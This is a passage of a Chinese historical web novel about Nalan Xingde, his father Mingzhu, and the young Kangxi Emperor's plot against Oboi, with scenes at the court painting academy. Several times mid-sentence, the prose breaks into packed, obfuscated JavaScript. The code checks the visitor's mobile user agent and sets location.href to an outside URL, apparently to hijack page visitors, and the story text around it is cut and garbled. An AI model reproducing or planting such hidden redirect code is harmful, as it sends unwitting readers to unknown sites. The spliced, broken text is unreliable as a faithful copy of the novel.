原本他以为,睁眼后肯定见到儿子,却大失所望。 正要开口吩咐管家:“把容若叫我面前来——” 却听见管家道:“老爷,是公子的贴身侍女袖云求见。” “叫她进来。”明珠把酒壶往桌上重重一放,指向容若的房间,“我倒要听听看,我这个当阿玛的都已经先让步了,她的主子纳兰公子还有什么理由不过来尽孝!” “是。” “袖云给老爷请安,代公子给老爷请安。” 明珠冷哼了一声,没有回应。 “请老爷爱惜自己,莫再让公子同伤。” “同伤?”明珠忽然一惊,紧张道,“容若要是敢往自己身上动刀子,我拿你是问!” “老爷!”管家大叫了一声,好让明珠清醒,“公子怎么会做傻事呢?万一公子真被您逼成那样,那夫人从‘济国寺’过来,还不得拿老爷您是问?” “你细细说清楚——”明珠指着袖云,“昨晚容若是不是一觉到天明,然后起床来看阿玛的笑话?” “回老爷,公子一夜未睡,就站在自己房间外面的回廊下,看着守着您的屋子到天明的。” “那他怎么不过来?不进来?” “情深之处,就是情怯。” “那就是我错怪容若了。”明珠站起,来回徘徊,“难得他有这份心,但你也要早些劝他回房躺下才是。” “公子说,回想起儿时除夕,一家人团团圆圆,老爷没有忙于公务,夫人也没有走动于各个场子,很是珍惜。如今的阖家欢愉却要等老天爷来成全,不如不求。“ 说罢,袖云就把纳兰公子写的《浣溪沙·庚申除夜》呈给了明珠看。 明珠看罢,脸上浮起了比先前更深的愧疚,道: “待春风,倚天公。这孩子原来一直都是盼着一家子在一起的时间多一些啊!你回去后告诉容若,就说:阿玛不会让你苦等白等,今年除夕、今后年年除夕,都会一家团圆、热热闹闹地过。” “是。”应完,袖云转折道,“公子说这首词写的不好,想要焚毁,袖云没让。” 明珠看着词作,掉落数滴眼泪。 ——最怕冷的儿子,熬守一宿寒风,是为了自己的阿玛。 ——最需养的儿子,自甘这般苦撑,是在乎自己的阿玛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233026|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——最不经伤的他,伤了这么多年,所求无非一全局一全宴。 ——最盼亲情的他,惜了几载风雨,欢颜所喜一暖阳一暖茶。 “我竟不知容若有过许多这样的时候,在除夕降至之际写词,无论好坏,都不想留,哪怕是作为贺礼献给太皇太后和皇上的词,也是筋疲力尽后的一笔。都要怪我这个当阿玛的没有好好体谅他的心情。” “公子今早写了一首《菩提词》,请老爷过目。” “好一句:尽处明珠,此处枯灯;楼内成德,楼外醉翁。” 就这么夸着,明珠大哭起来。 ——第一次因为心疼儿子而大恸。 ——第一次因为责己而后悔万分。 “容若现在在哪?” “在房中。公子说:‘我早些帮阿玛列一份进献太皇太后和皇上的年贺品清单,若是其中有些需要定制的物品阿玛觉得合适,就可以提交给工匠交待下去了。’公子还说:‘年贺品不可轻率,阿玛独自拿主意难免偏颇,我要帮阿玛参合参合,优中取优,得体以对。’ ” “好,你回去告诉容若,我吃过早膳后就去看他列的清单。” 袖云跪地道:“袖云请老爷主动跟公子一起用早膳,否则公子……” “否则容若怎么样?” “否则公子失望多于乐望。” “你对容若的心思懂的不错。” “老爷跟公子相处如前,就是袖云最大的高兴。父子之间的干戈,这般模样厉害过口舌之争百倍,袖云如果有做错的地方,请老爷包涵。” “你没错。容若跟天下的贵公子都不同,所以他身边要有可心的侍女,你呀,一直既要照顾纳兰公子,又要观色于我明珠,我要赠你‘莹秀开豁’二字。” “袖云谢老爷明示。” “你怎么跟容若一样,也这般回应我?” “作为纳兰公子的贴身侍女,‘善解人意’和‘无微不至’不够,‘相伴文章’和‘通会别绪’也不够。袖云,记下老爷的叮嘱了。” * 另一边。内务府中。 玄烨的近身大太监顾问行指着一个装了珍贵之物的锦盒,责备一个管事太监道: “糊涂东西,这是万岁爷要亲手穿的菩提手串,当做纳兰公子的生日贺礼来备的,我都不敢掉以轻心,何况是你这个领了差事的?别说是少了一颗菩提子,就算有一颗没有挑选甄别妥当,挑衅了万岁爷的眼力,那也是要掉脑袋的。” 那管事太监问:“顾公公,皇上对纳兰公子如此上心,对其他功臣和老臣公平吗?” “知道养心殿外头的九莲菩提树吗?那是万岁爷为纳兰公子栽的。”顾问行重复强调了一遍,“有专门的人负责,万一那棵菩提树出点什么差池,你信不信万岁爷将负责人以失职罪处死?” 管事太监似遭了雷击一般,浑身一颤。 “敢问顾公公,皇上提及过的、有意于恩赏纳兰公子的别的好东西,奴才是不是也要打起十二分精神来逐一准备?” “多一手准备总不会出错,只是照我看:纳兰公子禅慧笃书,一串包含着圣心的菩提手串、数册万岁爷亲挑的书典,是最要紧的。” “多谢顾公公提点。” 管事太监一拍身上灰尘,猛一瞬跪地,朝着天子所在处惶恐道:“奴才会珍惜着自己的这颗脑袋来办事,再不敢出差错了!” * 明珠推开房门,一眼就看见了趴在书桌上的、睡着了的容若。 他没有叫醒容若,而是拿起容若写过的诗词文章来看,安静地坐在窗边。伴一瓶花,闻一馨香,开一把未题字的画扇。 比起一般父子之间会有的场景: ——儿子睡着了,不知道爹爹到来,让爹爹久等。 ——无妨无妨,爹也是不忍心打扰你,才没有叫醒你。 纳兰父子之间是这样的: ——明逝易伤,小笺引梦,方悔睡短。 ——是该怪你醒的太早,阿玛还未将你的心事都读罢惜罢。 容若坐到双人榻的一侧,打开了半窗。 同时,他也留意到了明珠动过的围棋棋局,不由得高兴一笑 “你身边的袖云不错。” “毕竟是儿亲挑的侍女。“ “要不是她来找我,你还有多少事自己藏着、忍着?需知道独自承担着这些苦楚的你伤神,事后才明白的我也一样啊。所以,纳兰父子不可再这样彼此伤彼此了,记下了吗?” “阿玛,如果说黑与白之间夹杂着灰,那‘不敢’与‘不会’之间过渡着什么呢?” “阿玛不会让你陷入不肯、不愿的抉择之中。” “听到阿玛这句话,儿觉得心暖。只是‘身不由己’四个字不只对我,对天下的每一个人都是通用的。” “阿玛做你的后盾,有阿玛在,你什么都不用担心。” “儿把这句话记下了。儿也愿做天际的一颗启明星,有用于阿玛,有用于纳兰家,有用于皇上。” “你写的年贺品清单拿给阿玛看看。” “没完全写好,等写好后阿玛再看。” “你怎么吃松子?” “儿一向喜欢吃松子,阿玛忘了吗?” “没忘,只是见你多备了一盘完全没有开口的松子,不知道你是何意。一盘吃,一盘看,如是而已吗?” 【注1】铁筷子:一种耐寒的植物,因茎干色如铁,且质地坚韧而得名,开花极美且花期长。 22.第22章 宋应星独坐在山间的独寮之中,直到弟子沈宛和好友张岱到来之前,他都是对着《天工开物》删删改改。 “时不我与啊!我还在为华夏之物立传立名之际,当下的清庭已经开始流行洋人的玩意儿了。” “想来我宋应星援明抗清至今,不可说是一事无成,但面对这‘天人合一,开并万物’之书,心中亦是愤慨与高歌并存。造物主要是能够稍微听到我这凡人的心声,如何不能让天下人晓得——” “人力之有限,还需天道相助。” 宋应星回头一看,说话的正是沈宛。 她刚进屋,张岱后一脚也到了。 “师傅,御婵与天下万民一样,读了最近流行的那首纳兰词,倒觉得纳兰公子的心境与您类似。” “何以见得?” “纳兰公子在词的最后一句写道:风流端合倚天公。”沈宛抱着欣赏的口吻,“不正是说:凭借人力再如何成事,到头来还是要为天道所制宰吗?” “师傅觉得公子可是透彻?”沈宛的神色中带着入神的仰慕,“至少御婵降世至今,未曾见过写除夕的诗词,有过像公子那般的心境和见解的。” 宋应星大惊。 自己的弟子沈宛怎么忽然就跟纳兰性德扯上关系了?她那副好似被纳兰性德迷了心窍的模样,是怎么回事? 世人皆知明珠之子温润才高,这是事实无错,但是沈宛不能陷于此。 原因很简单,说白了就是: 她一旦变得感情用事,日后心中还要如何把握“大明”和“大清”的分例占比? 还要如何记得“汉家姑娘”和“满清才子”有别,别在身份地位,也别在观念心志。 “宋公啊!”张岱道,“虽说纳兰性德疑我篇章《湖心亭看雪》有猫腻,但他确实是没有疑错。你不必因为他的祖王父是多尔衮,而过于介怀于他。” “多尔衮害我全家,害我好友——” 宋应星正想大肆发泄,怒目而骂,却被沈宛做了劝。 “多尔衮是多尔衮,公子是公子,师傅因旧恨而转怒纳兰一家,本就不对。公子自身善多无劣、完璧无瑕,没想过要卷入旧事之中,何况他对这里面的恩仇也一无所知呀!师傅您要是因为公子跟多尔衮之间的亲缘关系就不满于他、也不许我读他的诗词文章,那对我和对公子都不公平。” 宋应星冷道:“明珠父子狡诈多谋,索额图父子为什么会败,你看不出来吗?就是纳兰父子的连环计!我从线人口中听得,纳兰性德身困自导自演的大火之中,连命都可以不要,是何等缜密的心思啊!” “啊——” 因为担心公子,沈宛心中一紧,双手捂住了嘴。 “怎么?你不知道?”宋应星沉声问,“我倒不觉得纳兰性德有多么忠君为父,而是在与天作赌罢了。如此,你还觉得‘天道’对他而言,是需要‘敬畏’和‘求全’的存在吗?” 沈宛思忖道:“我想,纳兰心事绝非是如师傅所言。” 宋应星冷脸以对。 张岱对沈宛道:“御婵,过分执着于不该执着的人,是大忌啊!” 沈宛低头不语。 张岱复道:“我同宋公看法,御婵你再接触纳兰公子,不可、万万不可!” 宋应星叫沈宛和张岱一并,过来看那幅他刚刚修画好不久的地图。 “张公,沈宛,你俩知道现在天下是什么局势吗?” 沈宛对着地图道: “清缅往来频繁,缅甸虽向大清称臣,但是内乱多起,不可谓是忠诚;滇南之地有三藩,享受清廷厚待之策,却野心勃勃,不可不谓清廷隐患;水利失修,长河不通,必将影响天下粮仓,是为社稷之难。” “还有,前朝余党与边界线周围的夷族交往亲密,居心和用意可见一斑,就是为了集中力量对抗清廷。” “不错,康熙皇帝面临着内忧外患。”宋应星抚掌而笑,“这么一个年轻的小子,能在龙椅上坐多稳、坐多久都未可知。” “可是康熙皇帝身后有孝庄太后,身侧有忠慧之臣,朝前也不尽是些乌合之众,一心一意为江山出主意的忠良之人,也是不在少数的。” 沈宛不知道自己为什么会做出这种回应。 就好像是涨了大清的志气和威风一般。 ——我是怎么了? ——明明生活在同一国家,在纳兰公子面前称“大清”,在师傅宋应星面前却称“清廷”。 是因为对纳兰公子的倾慕之情,凌驾于对师傅的栽培之情之上吗? 若是,我便是相信: 纳兰公子,是个比师傅更值得靠近与相处的人。 “沈宛,师傅真想叫你去问纳兰性德一个问题:为什么康熙皇帝敢暗中立志除鳌拜,而汉献帝却无法除掉曹操。” 宋应星意味深长地从喉咙中发出一声冷笑。 “纳兰性德如此聪慧,怕是能够想的明白吧……?” * 书房之中。 玄烨温习完日课,就开始“动手”。 顾问行在一边道:“万岁爷,亲自穿珠这件事,之前只有顺治皇帝为董鄂妃做过,但那也是讲情多于讲佛,讨她欢心之举罢了。如今万岁爷您心诚所至,穿珠来为纳兰公子送福气送智慧,那就是讲信任多于讲情,是圣明之举啊!” “谁说朕对纳兰就没有情?” “这话要是被皇后娘娘听了去,您那‘君臣之情’变成了‘同袍之情’,可是会生出大误会的。到时候老祖宗责问起来,奴才只当万岁爷什么都没说过、自己什么都没听见过。” “你记着:朕,对纳兰有情。” “是。奴才记下了,是君主对臣子的恩情!” 玄烨见纳兰进来,马上把正在穿线的菩提珠一放,叫顾问行给藏好。 这一盒子东西,袖内怀中自然是放不下,顾问行只好稳托手中,用九威拂尘一盖。 “臣参见皇上。” “你那首写除夕的词朕看了,你要是有本事雕刻蜡烛,就去雕刻出一根来给朕看看。” 顾问行一脸笑意:“纳兰公子,你写的‘待春风’三个字,莫不是指代的是咱们万岁爷?” “只可惜竟陵王集学士‘刻烛赋诗’的‘春宵迎风’雅趣,要人多才热闹。”纳兰摇头道,“一人或是双人,没有比高低的意趣。” “来——”玄烨一招手,带纳兰走到一幅立起的大型地形图前,“朕给你体验一把万马奔腾、踏遍山河的热闹!” “你要说什么就说,朕听着。” “请皇上屏退别人,臣真的是有一番来自肺腑的话要说。” 玄烨大笑,乐滋滋地一挥手,让顾问行把旁的太监和宫女都撤了下去,关上了书房门。 “现在只有朕和你,说吧——” “是。臣以为,除鳌拜之事,等除夕过后就可以着手,宜快不宜等。” “你要说的是这个?” “回皇上,就是这个。臣的阿玛已经秘密将精干的八旗子弟训练妥当,也请示了太皇太后的意思,可以叫那些年轻人们过来假做皇上的习武陪练了。其次,阿玛请了太皇太后的准,在皇上擒拿鳌拜当日,会秘密埋伏一支精兵在书房之外,助力皇上成事。” “你还有没有别的要说?” “有,臣以为:擒贼之事,首先是要选对时机,其次是要把握时局,最后才是看皇上您的神勇与否。恕臣直言,皇上当下的处境和能力,比当年的汉献帝不知道强多少倍,故而是天助皇上得胜。” “纳兰,你最近是越来越讲究一个‘天’字了,无论是心态还是文章,常常涉关天道,但是掌控天下和并行天道之人只有一个,那就是朕!你最好记着这点。” “臣不瞒皇上,臣多提‘天’字是因为家事,而在皇上面前说‘天助’,则是客观事实,没有质疑皇上能否顺应天命的意思。” “你还没成家,说什么家事?” “是臣跟阿玛之间的事,公而忘家无错,私而求全也无错,所以纳兰父子就过了几天跟平常不同的日子,不过现在一切都已经好了。” 玄烨对着地图,步步加重语气道: “朕当然是比汉献帝要强,但朕要从你口中听得一些对立面的话。要是你说错了,影响了朕的心情心态,朕就——” 玄烨忽然从墙上拔出一把宝剑,他把剑刃架在纳兰的脖子上,一副威逼的模样,冷血无情道:“让你这个皇阿奶和明珠派来的说客见点血,看看无瑕的美玉有了瑕疵会怎么样!” 纳兰处变不惊,皇上生气也在情理之中。 首先,擒拿鳌拜时机皇上本就是想自己拿主意,现在却被孝庄和明珠一起定在了除夕之后;调动精兵之事,本应向皇上报备,现在孝庄却下懿旨给了明珠特权,这不是还觉得皇帝没有长大、把控不了局面的意思吗? 而最要紧的,是心高气傲的皇上,竟然被自己喜欢的陪臣用来跟软糯无能的汉献帝做对比,心中的导火索还不“噌——”地一声引燃,恨不得真把纳兰性德的脖子开出一道口子来? 纳兰用手推开了皇上的宝剑的利刃,脖子上还残留着丝丝冷意和痛感。 内室的两侧,在白天也一样亮着的烛火,好似在诉说着天子的喜怒无常和陪臣的如履薄被。 而那些搁置在桌面上的布阵点石、设卡竹签、要塞毫羽,就跟是三足鼎立的看客一般,不知道这对君臣接下来会如何相处。 * 纳兰作为最懂玄烨的心思的臣子,固然是明白玄烨口中的“对立面” 三个字的意思:不准拿朕跟汉献帝比,只准拿鳌拜跟曹操比! “汉末跟清初不同,曹操身边有一群有实力有才干且真正支持他的文臣武将,汉献帝即便是要设计杀曹操,那也要掂量曹操身后的人的分量。鳌拜是辅政大臣,权力来自先帝遗命和自身军功,他身后人是畏惧于他的势力而追随他,所以皇上即便是杀了他,也没人敢站出来说皇上的不是,皇上也正好能从旧时依附鳌拜的人当中,挑选真正有才干的人出来为己效力。” “第二,大局不同。曹操所处是三国鼎立时期,鳌拜所在是四臣辅政时期,大与小差别甚大。汉献帝若杀曹操,一旦成为亡国之君,则是从曹操的俘虏变成了孙刘的俘虏,处境更是屈辱,所以汉献帝即便是为了自保也不能杀曹操。而皇上如今,辅政大臣索尼、苏克萨哈都已死,遏必隆是墙头草压根不敢轻举妄动,皇上擒贼之后,朝纲安定,没有后顾之忧。” 听到这儿,玄烨把剑重新提起,一脸肃沉。 他用剑尖对准了纳兰的心脏,威胁道: “谁说朕没有后顾之忧?明珠和索额图就是朕除掉鳌拜之后的最大朝纲之忧。纳兰性德你信不信有朝一日,明珠一手遮天想凌驾于皇权之上的时候,朕就杀了你来儆诫明珠,而且朕不准你喊一个‘冤’字!” 纳兰正直应道:“那臣就请皇上把臣的真实死因掩盖的漂亮一点、周全一点,不要让后人议论出一场君臣悲剧来。” “你——”玄烨踏出一步,剑尖真正贴在了纳兰的心脏上,“以为朕不敢吗?纳兰性德病逝!自尽!理由要多少有多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“臣不能误了一对真情鸳鸯,娶谁也不娶官氏。” “混账!”玄烨把桌面上的布阵点石一扫,“你不娶她,她不嫁你,扫的是谁的颜面?是皇阿奶!” “要不是皇上你在太皇太后面前乱吹耳边风,太皇太后会记挂这桩错姻缘吗?” “好,那朕答应你,以后不在皇阿奶面前提了。” “臣谢皇上。” * 纳兰从书房出来,看见了守在门外的顾问行。 他跟顾问行打了招呼,然后正要走,却被顾问行请了留步。 “奴才虽是听不见万岁爷和纳兰公子之间的对话,但却听见了宝剑落地的声音和见到了几道寒光,大胆问一句纳兰公子:是怎么回事?” “皇上的政治见解和军事策略得当,舞剑助兴,让我甘拜下风。” “是吗?那可好,奴才就怕万岁爷拿剑指向纳兰公子你,失手也不是不可能的。” “皇上没有对我怎么样,不然我也不能这般无恙地出来。” 走了几步,纳兰又折返提醒道:“顾总管,你进去伺候着吧,我从皇上手中闻得菩提子香味,你不妨点上一小鼎我送给皇上的纳兰香,对他凝神静心有好处。” “是。奴才送纳兰公子。” * 玄烨坐在桌案前,一声不吭地看着顾问行把纳兰香的小香鼎摆放好。 顾问行也不等皇上问,就直接回话道:“万岁爷,这是纳兰公子的意思。奴才看您也是需要醒醒神才好。” “把朕未穿完的菩提子和素绳拿过来,朕要接着穿。” 顾问行照做,然后道:“纳兰公子是往养心殿的方向走,奴才猜测,他是看那棵万岁爷种的菩提树。” 玄烨故意不对纳兰的行径发表意见,而是问:“养心殿的修缮工程,进行的怎么样了?” 顾问行一边看着皇上手中的动作,一边道:“有了那些失职的人被下罪的前车之鉴,剩下的人,没有敢不尽心的。” 玄烨把一颗十七瓣的金刚菩提子放到了掌心,细看着道: “即便是纳兰赌天意,那朕也有资格说自己就是那片天。眼睁睁地看着纳兰在火中却不去救的人,朕下罪他们不应该吗?非要等到有了受罚的例子再尽心,你说那些还留着的人应该怎么处置?” 顾问行揣测道:“等到修缮工程完成以后,万岁爷您对那些人不赏也不罚也就是了,一并逐出宫去,明白君心的人自然明白,也省的您劳心再过问。” “纳兰拟写的‘岁末把笔’的纸张,你还留着吗?去拿给朕看。” “奴才收着呢。统卫跟奴才说,纳兰公子被救出来的时候,紧紧拽着那张纸,就跟是那张纸对他而言,意义非同一般似的。” “朕就说,纳兰心里指不定多希望除夕来到宫中,为天下畅写——和景开明、四海生平之言呢。他那颗心,装的就是大清和百姓,纯粹的很,无关那些八旗亲贵和朝臣们所说的卖弄才华、实则不轨。” “还是万岁爷懂得纳兰心事啊!” 等到顾问行把纳兰写的“岁末把笔”的纸张拿来了,玄烨逐字逐句地认真念道: 龙池中兴,山河长盛;霞生泉壑,海远天长。 诸事天和,新气宪威;威哉文武,羽结清望。 朕应民心、法天道,承万亘之基,驭万邦之业,逢此初载之辰,愿与苍生同道、众臣同德,共修祥泰安乐、扶纳社稷千秋。 “朕……” 玄烨猛地从椅子上站起。 “万岁爷请讲——” 顾问行伏地听着。 “有纳兰此笔,朕自愧弗如,还写什么在他之上的新年贺帖贺词?” 23.第23章 明府。 纳兰容若从马上下来,把斗篷脱下交给侍女袖云、接过她递来的湿暖帕擦了擦手以后,就走入了明珠的房间。 “儿啊,你无事回来了就好。”明珠松了一口气,“激将法可对皇上起了作用?” “皇上答应了在年后擒鳌拜之事,但是他对阿玛您——暗率精兵、埋伏护驾之事,并不满意。” “天地良心。”明珠做了个对天起誓的动作,“我明珠对皇上对大清忠心耿耿,能做出什么值得皇上怀疑的事情来?” “不用阿玛本人出面和那支精兵出动,自然是最好。” “擒拿鳌拜当日,你好好呆在家里,哪也不许去。” “儿要是不在皇上身边,万一事情出了岔子或是波折,该如何是好?该如何收场?” “这一事不能出岔子,不允许有波折。”明珠恳恳地强调道,“皇上要是不懂审时度势,江山就要易主了!到时候,你我父子是一块跟着皇上陪葬。” “儿不是去添乱和找存在感,而是当中涉及多方利益关系,得有个提醒皇上顾全大局的人做后盾。” “你怎么有把握说出‘提醒皇上’顾全大局这四个字?” 明珠神色惶恐,就怕容若真的说出什么了不得的、连自己这只老狐狸都没看透的内理出来。 容若半身掩进了双人榻上的暖被里,仔细向明珠说起自己今日留意到的细节来。 “儿今日从皇上手中闻到了金刚菩提子的淡淡木香味,忽然想起先帝给董鄂妃送菩提手串之事。阿玛你说孝庄太后为什么不待见董鄂妃?不是因为她的恩宠胜过博尔济吉特皇后,而是因为她隶属正白旗。我的祖王父多尔衮也是出身正白旗,祖王父死后,顺治皇帝如果把正白旗出身的女子立为皇后,如何能够服众?孝庄太后为了保全顺治皇帝,所以不许。” “而鳌拜是正黄旗出身,时到今日,正白旗已经被鳌拜打击的江河日下,地位大不如前,孝庄太后若是念及与多尔衮的情分,定是容不下鳌拜。” “所以儿认为,善后之一,是扶正八旗之间的利益。不能让正黄旗一家独大,也不能让正白旗一蹶不振,否则内乱突起,不利于皇上新政。” “再有,儿试探了皇上的口风,问他擒拿鳌拜以后,是否会一并清算瓜尔佳氏一族和依附的党羽,得到的回应是:忠则不杀。这无关皇恩——” “你也看出来了?”明珠问,“皇上不把网开一面当皇恩。” “嗯。皇上有自己的想法。”容若推测,“大抵是:朕想要这件事及时收场,不想蔓延出更多后续,所以才缩小牵连面、减少追责并罚。这就避免了人心易变和朝纲震变,阿玛您说是吗?” “没错。”明珠道,“说白了皇上还是借着伪装的宽宏,来为自己的亲政顺利铺路。” “所以儿认为,善后之二,是平衡好‘真尖刻’与‘假宽厚’之间的关系。皇上的性子还没到事事无缝衔接过演的地步,儿有个请求:不知到时在朝堂之上,阿玛可否为皇上说话?” 明珠没有直面回答,而是问:“你接连为皇上着想,皇上今天如何对你?” “这点——”容若苦笑,“晚膳的时候再跟阿玛说。” 明珠却体察出了容若心中的苦楚和那么些凄凉。 遂叮嘱道:“你说的两个善后,自己做的来吗?若是自己做不来,就不要轻易提醒皇上。” * 如意馆中。 禹之鼎往鱼缸里投喂了几粒饲料。 看着自带着一身节庆氛围的锦鲤,禹之鼎忽然斟酌起自己的前程来。 关键的不是自己能够升职到宫廷画师的何等高位,而是即便到达了高位,就出身而言,也没法娶官云辞。 他走回画案前,单手托着脑袋: 想来我这个年纪,要是没有明珠大人引荐,还在江南乡间当个食饱则足、耕作则满的糊涂日子,那就是一辈子也不知道皇城长什么样子、天子长什么样子,往后的抱负和爱情也不会在心底里生芽。 作为皇上的身侧臣,地位真的甚是微妙。 好像只要平稳发挥、忠心听话,就能有别人所羡慕不来的福气一样。 可是,这种为皇上献画、听皇上的吩咐作画、画皇上之肖像画的日子,似乎长久以往也没有什么意思。 真想跟云辞一起登上去西洋的大船啊!去看看外面的世界是否精彩纷呈,去看看洋人们是否个个金发碧眼,去尝尝洋餐是不是份量少又精致……我一个画画的,除了画画也没有别的本事的人,有如此念头,当真是除了云辞格格以外,再难有一个共鸣之人。 如果去了西洋以后,就不想再返回大清了,那么算不算对皇上失信? 如果就有那么一个理由,让自己活得不再是一个彻头彻尾的大清子民,那么在中西合璧的碰撞之中,史册能否给我一页记载之地? 这时候,馆长刘佳·咔隆当众宣布道: “众画师,皇上下令,让德意志人汤马特和英吉利人查尔斯一同筹建琉璃工厂,待‘岁末把笔’和‘赐福字’以后,就在如意馆侧动工起建。” “皇上亲自从纳兰公子的词‘梦觉一盏琉璃冷’中挑了‘觉盏’二字出来,给琉璃工厂赐名:觉盏馆。尔等不可对那些洋人有所怠慢和轻眼,制作器皿和提笔绘画,说白了都是雅趣,用洋人们的话来说,就叫:艺术!所以咱们‘如意馆’对‘觉盏馆’能帮则帮、能善则善,都记下了吗?” 禹之鼎随着众同僚一起,应道:“记下了!” 阮姓画师问:“那到时候,是咱们学点洋文去跟‘觉盏馆’的外国人打交道?还是那些洋人自通汉语汉字,跟咱们用汉话交流?” “汤马特和查尔斯不但琉璃做得好,汉话更是说的好。”刘佳馆长提醒道,“你想想看,他俩要是没法跟万岁爷对答如流,发挥本事在大清国席卷一场‘洋风器皿’之事能成吗?” “是这个道理。”一等画师陈敬方陈大人道,“琉璃作为装饰品,实用性不小啊!难怪皇上敢支持办厂之事。” “我听得——”姜大人道,“每每皇上要重用洋人的时候,朝中就会响起一片反对之声。如今皇上是跳过大臣们的意见,直接下令建厂设馆,是不是表示皇上要集权亲政了呀?” “姜大人,你这话就是说到点子上了。”刘佳馆长点头道,“所以咱们如意馆上下,都要踩准了万岁爷的意思来办事。他要兴洋馆来跟咱们如意馆平分秋色,咱们可不能表现出一丝不满。” “没什么好不满的呀!”禹之鼎忽然道,“日后咱们得个琉璃笔洗、得个投射光影的琉璃钻子、得个画花鸟鱼虫的琉璃皿,不是挺好吗?” “只怕万岁爷的意思远不止如此简单。”刘佳馆长道,“目前也就隐约透露出了两点:第一,万岁爷爱琉璃,是读了纳兰词;纳兰为什么写琉璃?是因为明珠大人有钱,府上什么珍奇玩意都有,公子自身也笃信佛教:菩提子和琉璃盏常备。第二,万岁爷独自拿主意设馆,既是宣扬君威又是暗示集权,手腕强硬的很。” “至于别的——”刘佳馆长来到鱼缸面前,“锦鲤不知道,我也不知道。” “那就静观其变。”陈大人道,“皇上的意思,一直观测下去,总会明了。” * 禹之鼎想象着如意馆外的空地日后的样子: 一座新馆拔地而起,在里面主事的是西洋人,干活的是大清子民,烧制之事日夜不断,却又井然有序,不管是以何种西洋之法来吹制奇皿、雕刻名器,成品一定是精品和名品。 皇上会亲自过来视察,带着纳兰和曹寅同至。考察工艺、挑选好物、上手亲制……此行皆是乐趣。 若是如此,自己一定要把《康熙皇帝幸觉盏馆》的场景画成长卷,在上面盖自己的章,也一并请求皇上、纳兰和曹寅盖章,成就一番名画之功。 然后,禹之鼎的脑海中就浮现出一首词来。 半晌,他将词中景色勾勒成画,对刘佳馆长道: “我喜欢那首《浣溪沙》。尤其是这句:碧琉璃水浸琼枝,可人风调最多宜。现在就去找纳兰公子题字。” “站住——!” 刘佳馆长大声劝止。 禹之鼎不得不收住了步子,回头问馆长什么事。 “ ‘可人’指的是得圣心的侧臣,‘风调’指的是风姿和人品极佳,要是被谣传成了:皇上始建琉璃馆,画师禹之鼎和侧臣纳兰性德自夸‘风姿’和‘人品’比皇上好,你俩不是等着领不敬之罪吗?” “这都是哪跟哪?”禹之鼎愕然,“因为有皇上存在,我就不许读《浣溪沙》、纳兰公子就不许给我写两行字了?” “我自然不是这个意思,只是为了你俩好,劝一句:别节外生枝为妙。” * 见到官云辞时,禹之鼎手里拿着那幅画好的《浣溪沙》琉璃图。 禹之鼎把今天发生的事都告诉云辞以后,问了她一个问题: “真是奇怪,我自身书法也不差,却是不爱往画上添字,总爱叫别人来添,云辞格格你说我到底是自添好?还是如旧照别人赐字好?” “你擅长画人物肖像画,又初涉西洋画,这二者都是不需要你加字的。” 云辞分析起来:“但你画别的闲情画和为诗词文章配画的时候,就少不得自己添字。我明白你不是没有添字的自信,而是觉得:自己的画,要配上更有才华的人的字,才能再升华出一种境界来。”“ “只有你懂我。“ 禹之鼎和云辞一起走在小径上。 月下微雪,未落地而化。冷枝微湿,未着雨而润。 脚下青阶伸延,通往明月尽处,安知不见报春明莺? 云鬓礼帽侧歪,衔晚风过轻羽,自是道心中有真意。 “云辞格格,照理说,没有画师个人向皇上献年画的规矩,有的只是如意馆众同僚一起,合力画出一幅大作来进献给大清国,以求得国运昌盛、天下安宁。你说……我要不要打破规矩,给皇上画一幅年画?” “画吧!”官云辞当机立断道,“要是纳兰公子和曹寅都给皇上准备了贺礼,你总不能无动于衷。但是你要想清楚画什么好。” “琉璃瓶中花,报岁人皆夸。”禹之鼎念出一句自创的诗来,“画这个如何?” “不同于俗气的:爆竹迎春图、五蝠送瑞图、灵鹿献宝图;也不同于画门神和道家尊者,从新意上看没有什么问题。花的寓意也很好,花开富贵,吉祥如意嘛。只是……” “只是什么?” “只是你要意识到:琉璃作为佛前七宝之一,意义跟别的画中的意象是不同的。你既要在画中向皇上传达‘个人福报’之意,又要把画的整体意境拔高,彰显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266638|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出‘江山清亮似琉璃’的恢弘之愿来,才叫做两全其美。” “云辞,我明白了,谢谢你。” “嗯。那——”她明朗一笑,“禹画师你拿什么谢我?” * 明府。晚膳时分。 明灯在侧,暖炭微红。 纳兰父子坐在室外的小亭台之中,同吃火锅。 对于上午明珠留下的悬念一问,容若答道: “在将来,阿玛的权力再大,不也是皇上给的吗?手握权力的重臣,生前死后,必然是得到罪名美名俱在的评价。皇上为什么要怪到我头上?” “什么?”明珠大惊,“皇上怪你什么了?” 容若没有把皇上充满杀气的样子拿出来说,也没有把皇上那副“纳兰性德杀了也不冤”的预言似的话告诉明珠,只是对明珠劝了一句: “阿玛,日后官场青云路是您自己的,但儿希望自己能够一直陪在您身边尽孝。” ——而不是让您白发人送黑发人,真的称了皇上的暗示之语。 “我明珠是靠自己的智慧和本事晋升的,没有靠过一点家势和人脉,也没靠过作为皇上的近臣的儿子。要是如此皇上还容不下你我父子,那我明珠还当什么忠臣?还报效很么国家?不如一家归隐田园算罢。” 